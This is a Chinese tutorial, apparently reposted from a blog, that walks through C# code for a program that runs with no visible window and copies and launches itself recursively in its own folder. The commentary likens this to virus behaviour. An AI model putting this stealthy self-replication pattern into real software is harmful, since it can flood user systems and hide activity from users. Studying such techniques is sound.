



























转贴吧
程序要实现下面几个功能。
第一,运行时不出现运行界面,当然,在任务管理器里,还是可以看到进程的,道行再深的病毒也不可能无迹可寻。
第二,程序在运行目录下自我复制n份。
第三,采用递归复制的方法,即第一个程序生成第二个程序,第二个程序生成第三个程序,以此类推。
源代码很简单,下面来分析一下:
35 // 不在任务栏显示
36 this.ShowInTaskbar = false;
37 // 窗体透明
38 this.Opacity = 0;
44 // 默认复制次数
45 const int TOTAL = 100;
46 int _count = TOTAL;
47 // 正在运行的程序路径和文件名
48 string _file = Application.ExecutablePath;
49 // 正在运行的程序路径
50 string _path = Application.StartupPath;
51 // 正在运行的程序文件名
52 string _name = _file.Replace(string.Format("{0}\\", _path), string.Empty).ToLower();
53 try
54 {
55 _count = int.Parse(_name.Replace(".exe", string.Empty));
56 _count--;
57 }
58 catch
59 {
60 }
61 finally
62 {
63 }
64 // 目标文件
65 string _target = string.Format("{0}\\{1}.exe", _path, _count.ToString("000"));
Application类提供了获取程序运行绝对路径并包括文件名的属性和程序运行绝对路径的文件名属性,竟然不直接提供一个文件名的属性,好奇怪。正规的截取文件名的方法应该根据"\"来判断,这里采用了替换的方法,大家可以思考一下如果用SubString怎么实现。55和56行,如果文件名不是数字,那么从100.exe开始生成,如果你执行了10000.exe的文件,那么狠糟糕,你可能需要注销一下当前用户来终止程序运行,当然,让它运行也不会有多大影响。最后,65行,我们把目标锁定在程序的当前目录下。病毒和流氓软件就没有那么客气了,经常它可能会选择磁盘根目录、C:\Winodws、C:\Windows\System32或者其他重要的系统目录中。而且病毒采用了随机的命名方式或者是模仿系统文件名称的固定命名方式,以达到隐藏自身和迷惑用户的目的。
67 if ((File.Exists(_file)) && (_count > 0))
68 {
69 // 复制
70 FileStream _fileStream = File.Open(_file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
71 byte[] _buffer = new byte[_fileStream.Length];
72 _fileStream.Read(_buffer, 0, _buffer.Length);
73 _fileStream.Close();
74 // 如果目标已存在,删除
75 if (File.Exists(_target))
76 {
77 File.Delete(_target);
78 }
79 // 粘贴
80 FileStream _writer = File.Open(_target, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None);
81 _writer.Write(_buffer, 0, _buffer.Length);
82 _writer.Close();
83 // 运行刚复制完成的程序
84 System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(_target));
85 }
86 Application.Exit();
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。